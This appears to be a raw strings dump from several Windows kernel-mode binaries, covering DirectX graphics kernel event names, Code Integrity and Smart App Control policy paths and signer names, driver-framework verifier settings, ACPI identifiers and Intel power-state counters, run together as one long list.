VidMmMakeResident VidMmEvict CreateSyncPoint RetireSyncPoint UnwaitCpuWaiter PagingQueuePacket ClearFlipDevice RecycleRangeTracking GpuVirtualAddressRange GpuVirtualAddressRangeMapping GpuVirtualAddressAllocator MakeResident HardwareContentProtectionTeardown VidMmProfiler VidMmSendTrimNotification VidMmSelectOperation VidMmTryOperation VidMmSuspendDevice VidMmYieldDevice VidMmDemoteDevice VidMmResumeDevice UpdateVPR YieldStartAdapter YieldStartNode YieldStopNode YieldSetExpirationTimer YieldCancelExpirationTimer YieldConditionEvaluation FlushScheduler AbortQueuePacket ReferenceWrittenPrimaries VidMmWorkerThreadWake PagingOpVirtualTransfer PagingOpVirtualFill PagingOpInitContextResource PagingOpUpdatePageTable PagingOpFlushTlb PagingOpUpdateContextAllocation PagingOpNotifyResidency ReportSyncObject YieldAccumulateRunningTime LockAllocationBackingStore UnlockAllocationBackingStore PagingOpSysmemCommit PagingOpSysmemUncommit VidMmProcessBudgetChange VidMmProcessUsageChange PowerRequestDuringD3 GdiRenderDuringCS VidMmProcessDemotedCommitmentChange VidMmProcessCommitmentChange CheckMultiPlaneOverlaySupportPostComposition TransferAllocationOwnership PeriodicMonitoredFence CreatePeriodicFrameNotification PeriodicFrameNotificationTimer HSyncInterrupt HSyncDPCMultiPlane MultiPlaneOverlayDisable ContextHasNegativeQuantum SelectingContextWithNegativeQuantum MMIOFlipMultiPlaneOverlay3 DestroyPeriodicFrameNotification VGPUEtwSession ReportMarkedGlobalAllocation VmBusSendCommand VmBusProcessPacketDpc VmBusProcessPacketWorker GpuPartitioning DestroyDisplayedAllocation VmBusProcessPacketGlobalWorker VmBusProcessPacketHostToVmDpc VmBusProcessPacketGlobalDpc VmBusSendCommandGlobal VmBusSendCommandHostToVm VmBusProcessPacketHostToVmWorker DisplayConfigPlaneChange DisplayConfigPostCompositionChange VidMmVprDefragmentCheck VidMmVprDefragmentLowCommit PeriodicFrameNotificationInterrupt PeriodicFrameNotificationDpc HwQueue FlushPresentReferencesAndDisableOverlays ResumeSchedulerForVidPnSource SetTimingsFromVidPn CalibrateGpuClockTask2 SchedulingLog AssociateDxgSchedulerObject PagingOpSignalMonitoredFence SelectContext2 MMIOFlipMultiPlaneOverlayDirtyRect DdiSaveMemoryForHotUpdate DdiRestoreMemoryForHotUpdate TrackedWorkloadDeadline TrackedWorkload CreateVirtualGpu TrackedWorkloadDeadlineMissed TrackedWorkloadSetPowerLevel SchedulingLogContextStateChange OpenVirtualGpu DxgkAddDevice DxgkStartDevice DdiControlInterrupt2 RenderGdi SignalSynchronizationObjectImmediate VirtualGpuGuestEvent BddFallback RenderGdiAlloc VidSchMarkDeviceAsError NodePerfData PresentQueuePacket Process SetInterruptTargetPresentId VirtualMachine VSyncWaiterChange VirtualGpu AdapterFeatureState VirtualGpup VirtualGpupAlloc ReprogramVSyncSuppressionForPresent ResetVirtualMachine TrackedWorkloadInternalMonitor TrackedWorkloadInternalStats VmBusSecondaryWorkItem VmBusAsyncCommandFailure VmBusSendPacketGlobal VmBusSendPacketHostToVm VmBusSendPacket VmBusCompletePacket AzureTriage VirtualizeFlipSubmissionRate WaitForVerticalBlankEventInternal SetBaseDesktopDuration SetPresentDurationPlane BoostUnboostRefreshRate CancelPresentAtFlips BlitCancel VSyncSmoothenedTime VSyncTimeStatistics MonitorPowerStateTransition VSyncHwFlipQueueLogUpdate ResetSmoother VSyncSmoothenedPeriod FlipManagerIFlipPresentCancel GpuPerfTracing PagingOpMapApertureSegment2 IddSignal UpdateGpuVirtualAddress UpdateGpuVirtualAddressFailure ChangeHwContextPriority PendingFlipsForThisEntry MmIoFlipRetry SelectPresentAtFlip CancelHwQueuedFlips CancelAndRequeueFlips CommitPageTable EvictPageTable PrimaryAllocationBusy MmIoFlipResubmit DdiSetVidPnMultiPlaneOverlay3 VSyncSmoothenedReset FlipManagerIFlipPresentConvertToNonIFlip VidMmPagingQueue EnqueueTask DequeueTask SelectTask DeselectTask PreemptTask CompleteTask TdrPayloadEngineTimeout TdrPayloadVSyncTimeout NativeFence PageTableDemotion64 TdrCaptureDumpStart TdrCaptureDumpFinish DpiFdoStartAdapterFailed VidSchiSignalSynchronizationObjectFromCpu VidSchSignalSyncObjectsFromGpuImmediate VidSchiCompleteSignalCommmand VidSchiSyncObjectSetToAlwaysSignaled VidSchiUpdateFlipManagerStats FrontBufferRenderingAllowed DdiQueryMonitorDescriptor DdiI2CTransactionData DdiI2CIoctl DxgkDdiMiracastQueryCaps DxgkDdiMiracastCreateContext DxgkDdiMiracastIoControl DxgkDdiMiracastDestroyContext DxgkCbSendUserModeMessage MiracastStartMiracastSession MiracastStopMiracastSession MiracastSendUserModeRequest MiracastStartMiracastSessionStage MiracastStopMiracastSessionStage MiracastStartMiracastSessionFail MiracastStopMiracastSessionFail MiracastDeviceStateChange MiracastInterrupt MiracastDPC MiracastUmdDriverCreateMiracastContext MiracastUmdDriverDestroyMiracastContext MiracastUmdDriverStartMiracastSession MiracastUmdDriverStopMiracastSession MiracastUmdDriverHandleKernelModeMessage MiracastUmdDriverCbReportSessionStatus MiracastUmdDriverCbMiracastIoControl MiracastUmdDriverCbGetNextChunkData MiracastUmdDriverCbRegisterForDataRateNotifications MiracastUmdReportEncodeComplete MiracastUmdReportChunkSent MiracastUmdReportProtocolEvent MiracastUmdSendMiracastEscape DxgkMiracastCbReportChunkInfo MiracastUmdQoSDataRate MiracastUmdOpenMiracastSessionDataRate MiracastDetectedUmdDriverWatchdogTimeOut MiracastStopMiracastSessionAbnormal MiracastPerfTrackStartMiracastSession MiracastPerfTrackStartMiracastSessionDone MiracastPerfTrackStartMiracastSessionDoneNoMonitor MiracastPerfTrackStartMiracastSessionFailed MiracastPerfTrackSourceDroppedFrames MiracastPerfTrackGraphicsLatency MiracastPerfTrackIFrameRequest MiracastGlobalConfiguration MiracastChunkReportViolation MiracastPerfTrackStartMiracastSessionNoSend DWMVsyncCountWait DWMVsyncSignal CommitVirtualAddress SetProcessStatus IndirectSwapChainCreate IndirectSwapChainOpen IndirectSwapChainSurfaceList IndirectSwapChainCloseHandle IndirectSwapChainDestroy IndirectSwapChainMarkAbandoned IndirectSwapChainAcquire IndirectSwapChainRelease IndirectSwapChainGetMetaData IndirectSwapChainSetMetaData BltQueuePresentStats BltQueueUpdateVSyncState BltQueueCompleteIndirectPresent BltQueueRemoveEntry OutputDuplicationCreate OutputDuplicationGetFrameInfo OutputDuplicationReleaseFrame OutputDuplicationProcessHighLevel OutputDuplicationBlit OutputDuplicationDestroy OpmGetCertificate OpmGetCertificateSize OpmCreateProtectedOutput OPMGetRandomNumber OPMSetSigningKeyAndSequenceNumbers OPMGetInformation OPMGetCOPPCompatibleInformation OPMConfigureProtectedOutput OPMDestroyProtectedOutput OPMSetProtectionLevel OPMGetConnectorType OPMGetSupportedProtectionTypes OPMGetActualProtectionLevel SetVidPnSourceVisibility IndirectDisableRenderD3 DdiExchangePreStartInfo TraceAdapterLock DdiDisplayDetectControl DdiQueryConnectionChange DdiSetTargetAdjustedColorimetry PresentRedirected VidMmDefragment VidMmSaveRestoreResource PagingOpSaveRestoreFrameBuffer IndirectSwapChainAddSurface IndirectSwapChainRemoveSurface IndirectSwapChainUnOrderedPresent DripsBlockerTracking_AddProcessEntry DripsBlockerTracking_AddActiveTime CSAccountingInProgress DripsBlockerTracking_AddD0LagTime RemoteMonitorAddMapping RemoteMonitorRemoveMapping RemoteMonitorVSyncTrigger VailFrameStatistics BltQueueVsyncStart BltQueueVsyncStop BltQueueVsyncRecreateSource BltQueueAddEntry BltQueuePresentDisplayOnlyComplete BltQueueDisplayOnlyWarpRenderComplete DdiDisplayMuxGetRuntimeStatus DdiDisplayMuxReportPresence DdiDisplayMuxGetDriverSupportLevel DdiDisplayMuxUpdateState DdiDisplayMuxPreSwitchAway DdiDisplayMuxPreSwitchAwayGetPrivateData DdiDisplayMuxPreSwitchTo DdiDisplayMuxSwitchCanceled DdiDisplayMuxPostSwitchAway DdiDisplayMuxPostSwitchToPhase1 DdiDisplayMuxPostSwitchToPhase2 DpiDxgkDdiWaitWakeArming DpiDxgkDdiWaitWakeDisarming BltQueuePrepareNextVSync BltQueueWakeReason BltQueueSignalPrivateDwmVSync BltQueueIndirectPresentStats DdiDisplayMuxSetInternalPanelInfo BltQueueVSyncDPC LargePageUpgrade Base Profiler References ForceVsync Patch Resource Memory Dxgkrnl_StatusChangeNotify DxgKrnl_Power DriverEvents LongHaul StablePower DefaultOverride HistoryBuffer GPUScheduler DxgKrnl DxgKrnl_WDI Miracast IndirectSwapChain GPUVA VidMmWorkerThread Diagnostics VirtualGpu AdapterLock MixedReality HardwareSchedulingLog Present DxgKrnl_Int PerfData AzureTriageLogging Deprecated win:ResponseTime Failed Start WEVT_TEMPLATE en-US PETruste scrobj.dll scrrun.dll jscript.dll jscript9.dll vbscript.dll .NI.DLL .NI.EXE *.cat \SystemRoot\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ Default VerifiedAndReputableAllowUnknown Microsoft WindowsLockdownPolicySettings Information Name PolicyInfo *.CIP Reserved.PlatformSigned Error: Low Resources System \EFI\Microsoft\Boot\Policies\UnlockToken.pol Path \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Appx\CodeIntegrity\Roots \Wpsystem\AppRepository\ t\packages\ \ProgramData\Microsoft\Windows\AppRepository\Packages\ Merge Policy Authorization UnlockID {F750E6C3-38EE-11D1-85E5-00C04FC295EE} SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED dCode Integrity UMCINoDebugBreak \Registry\MACHINE\System\CurrentControlSet\Control\CI MinimizeFootprint \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Setup UnlockIDCopy \\?\ %SYSTEM32% %WINDIR%\System32 %WINDIR% \REGISTRY\Machine\SYSTEM\CurrentControlSet\Control\CI\Developer\DeveloperUnlock CIDeveloper CiPolicies\Active .TOK SiPolicy.p7b SkuSiPolicy.p7b WinSiPolicy.p7b ATPSiPolicy.p7b VbsSiPolicy.p7b DriverSiPolicy.p7b CIExtPolicy \REGISTRY\Machine\SYSTEM\CurrentControlSet\Control\CI\ExtensionPolicy TssID PolicyPath \windows \windows\ \windows\system32 \windows\system32\ \program files\ \program files \SystemRoot\System32\CodeIntegrity\driver.stl TRSData Count TestFrameworks \Registry\MACHINE\System\CurrentControlSet\Control\CI\State HVCIEnabled Winload MiniNT \Registry\MACHINE\System\CurrentControlSet\Control\CI\Protected DebugFlags DebugComponent DebugLevel BootCacheDelay UMCIAuditMode TestFlags HvciAuditMode HVCIDisallowedImages VAIL TRSData\ \Registry\MACHINE\System\CurrentControlSet\Control\CI\TRSData TestPath Licensed CodeIntegrity-AllowConfigurablePolicy-CustomKernelSigners ServicingStack-License-Support-MicrosoftCrossRoot-Signature EncodedCtl \Registry\Machine\Software\Microsoft\SystemCertificates\AuthRoot\AutoUpdate DisallowedCertEncodedCtl DisallowedCertLastSyncTime \SystemRoot\SystemResources\crypt32.dll.mun AUTHROOTSTL PackageName PackageFullName TRUSTED System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ \SystemRoot\Containers\Vail\BaseLayer\Files\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} \DriverStore\Nodes keysvc AllowDevelopmentWithoutDevLicense AppModelUnlock \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock AppxPolicies \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows\Appx CIDeveloperCerts \Registry\Machine\SYSTEM\CurrentControlSet\Control\CI\Developer\DeveloperUnlockCertificates \Registry\MACHINE\System\CurrentControlSet\Control\CI\ExtensionPolicy\ .CIP \WINDOWS\SYSTEM32\SEARCHPROTOCOLHOST.EXE \WINDOWS\EXPLORER.EXE \WINDOWS\SYSTEM32\SVCHOST.EXE \WINDOWS\SYSTEM32\RUNDLL32.EXE mscorsvw.exe \assembly\NativeImages_v2 \WINDOWS\SYSTEM32\LSASS.EXE Administrator LocalAdminUser DTMLLUAdminUser TDPUser AdminUser HCKTest User WslTestUser mdtest Admin LocalAdmin ESPTestUser TestUser Public DasAdminUser NestedVMUserName DefaultAccount \Users\ WDAGUtilityAccount Version RevocationUpdateVersion \Registry\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Update\TargetingInfo\PersistentDynamicInstalled\RevocationList.amd64 Allow Block GUID QuestionableAllow \Registry\Machine\SOFTWARE\Microsoft\RemovalTools\MRT Unknown NULL uSYSTEM_INTEGRITY_POLICY_POLICYINFO_DEFAULT None In_Memory_PE_File CI\Signers Hash KnownRoot Levels EKUs DisableLifetimeSigning Platform RuntimeCustomLevels CI\Scenarios CI\Scenarios\12 CI\Scenarios\14 CI\Scenarios\6 CI\Scenarios\8 CI\Scenarios\131 CI\Scenarios\135 CI\Scenarios\11 CI\Scenarios\4 CI\Scenarios\2 CI\Scenarios\133 CI\Scenarios\5 CI\Scenarios\3 CI\Scenarios\9 CI\Scenarios\7 CI\Scenarios\15 CI\Scenarios\10 CI\Scenarios\130 CI\Scenarios\13 ProductionSigners CI\Scenarios\137 TestsigningSigners TestSigners CI\Signers\ 1runFullTrust 4Tagging WDACAppId TenantID \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\CI\Enrollments RevocationListLastLCUCreationTime \SystemRoot\System32\CodeIntegrity\previous.driver.stl RevocationListLastUndockedCreationTime \SystemRoot\System32\CodeIntegrity\Update\driver.stl \SystemRoot\System32\CodeIntegrity\Update\Previous\driver.stl .appxbundle .bat .appref-ms .appx .com .cpl .chm .cmd .gadget .hta .dll .drv .jse .lnk .iso .ocx .pif .msc .msp .ps1 .rdp .ppkg .printerexport .scr .settingcontent-ms .reg .scf .vbe .sys .url .vhdx .vxd .vbs .vhd .wsf .wsh .wcx .website git.exe chrome.exe .msi OneDrive.exe SMARTLOCKER://ORIGINCLAIM ENABLED START_PENDING \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\SMARTLOCKER OOBESafetyTimer VerifiedAndReputablePolicyState VerifiedAndReputableIgnoreAutoOptOut \Registry\MACHINE\System\CurrentControlSet\Control\CI\Policy OOBECompleteTimestamp \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\OOBE\OOBECompleteTimestamp SAC_EnforcementReason SAC_PreviousState EndTimeStamp \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE\Stats mci.dll Microsoft MarketPlace PCA 2011 Microsoft Root Certificate Authority 2011 00000000-0000-0000-0000-000000000000 Microsoft Marketplace CA G 006 \EFI\Microsoft\Boot\Policies ManufacturingMode LockDownRestriction SkuPolicyRequired EmodePolicyRequired %OSDRIVE% PolicySettings SignedPolicySessionOnlyLock AllHostIds VerifiedAndReputableTrustMode AllKeys VerifiedAndReputableUI VerifiedAndReputableAllowAntiMalware DefaultPolicy EnforceDLL TaggingSettings EnterpriseDefinedClsId ************************************************************************************ PolicyID SupplementalPolicyAuthorization ************************************************************************************ * It is now allowed to load because debugger is attached. * %wZ violated CI base policy %wZ with error code 0x%08x for scenario %d. InternalName OriginalFileName \VarFileInfo\Translation CompanyName ProductName FileDescription \StringFileInfo\%04x%04x\ NoRevalidationUponRefreshValue NoRevalidationUponRefresh {60FD87F8-4593-44A0-91B0-2E0DA022F248}.cip 1.3.6.1.4.1.311.10.3.6 DisabledDefaultWindowsCertificateRemappingValueName ApplyUserModeRules \SystemRoot\System32\CodeIntegrity EFI\Microsoft\Boot \OSDataRoot\Windows\System32\CodeIntegrity CiPolicies\Staged Tokens\Staged Tokens\Active *.TOK \SystemRoot\Boot\EFI Microsoft Identity Verification Root Certificate Authority 2020 Microsoft ID Verified Code Signing PCA 2021 Microsoft Root Certificate Authority 2010 Microsoft Windows Production PCA 2011 Microsoft Windows PCA 2010 Microsoft Windows Third Party Component CA 2012 Microsoft Code Signing PCA 2011 Microsoft Code Signing PCA 2010 Microsoft Development PCA 2014 Microsoft Development Root Certificate Authority 2014 \??\ PackageStatus \AppxMetadata\CodeIntegrity.cat TargetNtPath \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\AppModel\StateChange BinaryHash BinaryName \assembly\nativeimages PackageVersion \PackageList\ AppxStateChange \nativeimages\ \ac\microsoft\ \NI\ \SystemRoot\System32\Drivers\PEAuth.sys \SystemRoot \Registry\Machine\System\CurrentControlSet\Services\PEAuth Options 86p@ SummaryCount NumLargeEventFailures TotalEntriesFlushed MaxEntriesStored NumFlushes NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed CertTBSHashes CertTBSSha384HashCount CertTBSSha384Hashes CertTBSSha512HashCount PplDebugAuthorization Level CertTBSHashCount CertTBSSha512Hashes \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\Package\Index\PackageFullName \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\Package\Data InstalledLocation Flags2 SupplierPackage PackageFullName \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\User\Index\UserSid \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\DependencyGraph\Index\UserAndDependentPackageAndDependencyType %wZ^%wZ^8 \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\DependencyGraph\Data \Registry\Machine\Override \Registry\Machine\System\CurrentControlSet\Control\GlobMerger MountFlags IsEnabled \Device\cimfs\control O:SYG:SYD:AI(A;CI;FA;;;BA)(A;CI;FA;;;WD)(A;CI;FA;;;AC)(A;CI;FA;;;SY)(A;CI;FA;;;BU)(A;CI;FA;;;S-1-15-2-2) \Device\cimfs\ \Device\vmsmb\VSMB-{dcc079ae-60ba-4d07-847c-3493609c0870}\os \ArcName\ \Device\BootPartition\ \registry\machine\software \registry\machine\override\ \??\Volume \Registry\Machine Windows Windows\System32\config\OVERRIDE %ls_%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x_%u region WdfDefaultIdleInWorkingState IdleInWorkingState WUDF\CompanionConfigurations CompanionServiceList EnhancedVerifierOptions Parameters D:P(A;;GA;;;SY)(A;;GA;;;BA) \Callback\PowerState LogUseTimeStamp LogPages LogPreciseTimeStamp WdfMinorVersion WdfMajorVersion DbgBreakOnError VerifierAllocateFailCount VerifyDownLevel DbgBreakOnDeviceStateError VerifierOn VerboseOn RequestParentOptimizationOn VerifyOn DbgWaitForWakeInterruptIsrTimeoutInSec RemoveLockOptionFlags CxFileCleanupCloseV2 TrackDriverForMiniDumpLog DsfOn ForceLogsInMiniDump TimeOfLastTelemetryLog IoOpenDriverRegistryKey UmdfServiceType NULL WUDF SoftwareDeviceTag (null) \Device\KMDF %s%d DbgPrintOn Driver Version: %d.%d Kmdf Lib. Version: %d.%d MajorVersion MinorVersion BuildNumber IoQueryDmaFeatureSupport s0123456789abcdef GlobalLogger WMI\GlobalLogger\ WMI\AutoLogger\ Start Flags Level KmdfTraceGuid TRACINGFULL TRACINGERROR TRACINGDBGPRINT TRACINGFRAMEWORKS TRACINGAPI TRACINGAPIERROR TRACINGRESOURCES TRACINGLOCKING TRACINGCONTEXT TRACINGPOOL TRACINGHANDLE TRACINGPNP TRACINGIO TRACINGIOTARGET TRACINGDMA TRACINGREQUEST TRACINGDRIVER TRACINGDEVICE TRACINGUSEROBJECT TRACINGOBJECT TRACINGPNPPOWERSTATES TRACINGIFRCAPTURE RtlQueryRegistryValuesEx \Registry\Machine\System\CurrentControlSet\Control\Wdf WdfIfrCaptureServiceList Service:%wZ Count:Actual %d Expected %d WUDFRd NetAdapterCx WifiCx Unknown \Registry\Machine\System\CurrentControlSet\Services\WudfPf \Device\WUDFRdNonPnP-01ef3135-0713-470c-95dc-5d1b184938c4 01.035.0 Kernel Mode Driver Framework (verifier on) version 01.035.0 Kernel Mode Driver Framework version 01.035.0 KMDF \REGISTRY\MACHINE\HARDWARE\DEVICEMAP\ WdfTestDirectedPowerTransition ObjectLeakDetectionLimit WdfGlobalSleepStudyDisabled WdfGlobalLogsDisabled IoReportInterruptActive IoDisconnectInterruptEx IoConnectInterruptEx TrackPower TrackHandles IoReportInterruptInactive StateSeparationDetection DbgWaitForSignalTimeoutInSec \REGISTRY\MACHINE\BSPDRIVERS\ \REGISTRY\MACHINE\SOFTWARE\ \REGISTRY\MACHINE\SYSTEM\ Count StartTime StartAchieved WdfDirectedPowerTransitionEnable WdfUseWdfTimerForPofx WdfDirectedPowerTransitionChildrenOptional Service:%S, Companion:%s, Status:0x%x WakeFromShutdown WakeFromSleepState WdfDefaultWakeFromSleepState WDF Power References for %wZ, Driver:%S SleepstudyState Restart \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF\Services\ TELASSERT IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties DeviceCharacteristics Exclusive Security DeviceType NoDisplayClass NoUseClass Class \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} UsbVerifierFailSecureTransferSupport UsbVerifierStaticStreamCountOverride UsbVerifierFailEnableStaticStreams UsbVerifierFailChainedMdlSupport UsbVerifierFailStaticStreamSupport UsbVerifierEnabled UsbVerifierFailRegistration \Parameters \Driver\ Sleepstudy Unsupported dRtlQueryModuleInformation KeQueryActiveProcessorCountEx KeGetCurrentProcessorNumberEx KeSetSystemAffinityThreadEx KeGetProcessorIndexFromNumber KeGetProcessorNumberFromIndex KeQueryMaximumGroupCount KeQueryActiveGroupCount KeQueryGroupAffinity KeQueryMaximumProcessorCount KeQueryMaximumProcessorCountEx KeSetTargetProcessorDpcEx KeRevertToUserGroupAffinityThread KeRevertToUserAffinityThreadEx KeSetSystemGroupAffinityThread \Registry\Machine\System\CurrentControlSet\Control\Wdf\Kmdf\%s\Versions Service \Registry\Machine\System\CurrentControlSet\Services\%wZ \Registry\Machine\System\CurrentControlSet\Control\Wdf\Kmdf NULL (null) PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet\Control\Wdf\Kmdf\Diagnostics DbgPrintOn ImagePath \Registry\Machine\System\CurrentControlSet\Services\Wdf%02d000 %s\Versions \Registry\Machine\System\CurrentControlSet\Services\%ws%02d%02d RtlQueryModuleInformation RtlQueryRegistryValuesEx Parameters WppRecorder_TraceGuid VerboseOn LogPages ForceLogsInMiniDump WppRecorder_PerBufferMinBytes WppRecorder_PerBufferMaxBytes WppRecorder_ReplayEnabled WppRecorder_RetainLastNDeletedLogs WppRecorder_UseTimeStamp WppRecorder_PreciseTimeStamp PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet\Control\WppRecorder sForceDisabledCrashLogs RecentlyUnloadedDriversMaxCount WppRecorder RtlQueryModuleInformation TELASSERT TelemetryFlags HandlerMaxDuration MmLoadSystemImage MmUnloadSystemImage %s\%08x\%s \SystemRoot\System32\PRMModules %s\%s \SystemRoot\System32\PRMModules\Scratch D:P(A;;GA;;;SY)(A;;GA;;;BA) KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\PRM %s%S RS:DEFAULT c%s\%s NULL \Device\RESOURCE_HUB D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;UD) PsGetVersion WmiTraceMessage WmiQueryTraceInformation %0*I64x ACPI %s\%s\%s %s%08x%08x EtwRegisterClassicProvider EtwUnregister \DosDevices\RESOURCE_HUB KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\acpiex ExAllocatePool2 \Callback\542875F90F9B47F497B64BA219CACF69 MmProtectDriverSection ACPI e5b3b5ac-9725-4f78-963f-03dfb1d828c7 D3ColdSupported AssignmentSetOverride GroupOverride DevicePriority Affinity Policy DevicePolicy Routing Info GroupPolicy StaticVector Flags LinkNode Affinity Policy - Temporal Interrupt Management TargetSet TargetGroup ACPI(%ws) ACPI\VEN_%S&DEV_%S Root ReservedResources \Registry\Machine\System\CurrentControlSet\Control\Arbiters AllocationOrder FirmwareIdentified DosDeviceName ACPI_IRQ \Registry\Machine\Hardware\Description\System\MultiFunctionAdapter SystemStartOptions PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister 0123456789ABCDEF Port Memory Bus Number ACPI %s %C%C%C%C ACPI\VEN_%S&DEV_%S&REV_%04X ACPI\VEN_%S&DEV_%S ACPI\VEN_%S&CLS_%04I64X&SUBCLS_%04I64X&PI_%02I64X ACPI\VEN_%S&CLS_%04I64X&SUBCLS_%04I64X ACPI\VEN_%S ACPI\CLS_%04I64X&SUBCLS_%04I64X&PI_%02I64X ACPI\CLS_%04I64X&SUBCLS_%04I64X ACPI\VEN_%S&DEV_%S&SUBSYS_%S&REV_%04X ACPI\VEN_%S&DEV_%S&SUBSYS_%S ACPI\VEN_%S&DEV_%S&REV_%04X ACPI\VEN_%S&DEV_%S&CLS_%04I64X&SUBCLS_%04I64X&PI_%02I64X ACPI\VEN_%S&DEV_%S&CLS_%04I64X&SUBCLS_%04I64X UserHIDBlock ButtonInstanceID NULL \Device\RESOURCE_HUB \Registry\Machine\System\CurrentControlSet\Services\acpiex TADOverrides PrmSupportOptOut PCIEXPRESSPOLICY=FORCEDISABLE SBOSCEVALPOLICY=FORCEDISABLE TESTSIGNING \Callback\PowerState 0x%x \Callback\SoftRestart Identifier Configuration Data ACPI BIOS ACPI Thermal Zones AcpiFirmwareWatchDog \Registry\Machine\System\CurrentControlSet\Services\ACPI ACPIMOFResource \Callback\AcpiSimulator 0x%x - 0x%x AMLI IRQARB \Registry\Machine\System\CurrentControlSet\Services\ACPI\Parameters IrqDefaultDevicePolicy PCIDeviceExclusionMask IRQDistribution ForcePCIBootConfig InaccessibleRange MmConfigRange ROOT r SID re ++S+ ++S+ PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\amdwps PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister T\DosDevices\WindowsTrustedRT {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} {4E815EE1-20F8-41EF-8CFF-3C283F02D722}\%wZ {4E815EE1-20F8-41EF-8CFF-3C283F02D722}\SecureService \Device\WindowsTrustedRT D:P(A;;GRGWGX;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC)(A;;GRGWGX;;;AC)(A;;GRGWGX;;;S-1-15-3-1024-3203351429-2120443784-2872670797-1918958302-2829055647-4275794519-765664414-2751773334) \Device\WindowsTrustedRT NULL D:P(A;;FRFW;;;WD)(A;;FRFW;;;RC)(A;;FRFW;;;AC)(A;;FRFW;;;S-1-15-3-1024-1692970155-4054893335-185714091-3362601943-3526593181-1159816984-2199008581-497492991) D:P(A;;FA;;;SY)(A;;FRFW;;;BA)(A;;FRFW;;;WD) {36DEAA79-C5DD-447C-95E6-B3859589291A}\TrEETPM {1F75CF6D-F709-4C0C-8BCB-0CDCA1289DDD}\TrEETPM KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\WindowsTrustedRT PCI_DEBUG_ NULL Undefined FriendlyNameNotFound EnableCtaInterface Device not registered Duplicate device match not allowed DSM Function invoked Duplicate PCIe device match not allowed Parking EnableDTS ACPI\DEBUG RpNonPoFxPdoStorportNotFound ErC10AccountingRegister S0ixBlockerEnablePolicyRegister ErSlpS0HaltRegister StartPkgcFlowCounterCommand StopPkgcFlowCounterCommand EnableCoffeeLakeAccounting EnableLakeFieldAccounting EnableIceLakeAccounting EnableCometLakeSHAccounting EnableCometLakeLPAccounting EnableTigerLakeHAccounting EnableTigerLakeLPAccounting EnableJasperLakeAccounting EnableRocketLakeSAccounting EnableLunarLakeAccounting EnableMeteorLakeAccounting EnablePepv2SubsystemAccounting EnableArrowLakeAccounting CollectPcieHierarchyDiagnostic CounterNameNotFound VEN_8086&DEV_ SOC\DEV_%.4X C2.LTR_SPA C3.LTR_SPA C6.LTR_SPA C7.LTR_SPA C8.LTR_SPA C9.LTR_SPA C10.LTR_SPA C3.LTR_SPB C2.LTR_SPB C7.LTR_SPB C6.LTR_SPB C9.LTR_SPB C8.LTR_SPB C2.LTR_SATA C10.LTR_SPB C6.LTR_SATA C3.LTR_SATA C8.LTR_SATA C7.LTR_SATA C10.LTR_SATA C9.LTR_SATA C3.LTR_GbE C2.LTR_GbE C7.LTR_GbE C6.LTR_GbE C9.LTR_GbE C8.LTR_GbE C2.LTR_XHCI C10.LTR_GbE C6.LTR_XHCI C3.LTR_XHCI C8.LTR_XHCI C7.LTR_XHCI C10.LTR_XHCI C9.LTR_XHCI C3.LTR_SPG C2.LTR_SPG C7.LTR_SPG C6.LTR_SPG C9.LTR_SPG C8.LTR_SPG C2.LTR_ME C10.LTR_SPG C6.LTR_ME C3.LTR_ME C8.LTR_ME C7.LTR_ME C10.LTR_ME C9.LTR_ME C3.LTR_SATA1 C2.LTR_SATA1 C7.LTR_SATA1 C6.LTR_SATA1 C9.LTR_SATA1 C8.LTR_SATA1 C2.LTR_SATA2 C10.LTR_SATA1 C6.LTR_SATA2 C3.LTR_SATA2 C8.LTR_SATA2 C7.LTR_SATA2 C10.LTR_SATA2 C9.LTR_SATA2 C3.LTR_SPC C2.LTR_SPC C7.LTR_SPC C6.LTR_SPC C9.LTR_SPC C8.LTR_SPC C2.LTR_AZ C10.LTR_SPC C6.LTR_AZ C3.LTR_AZ 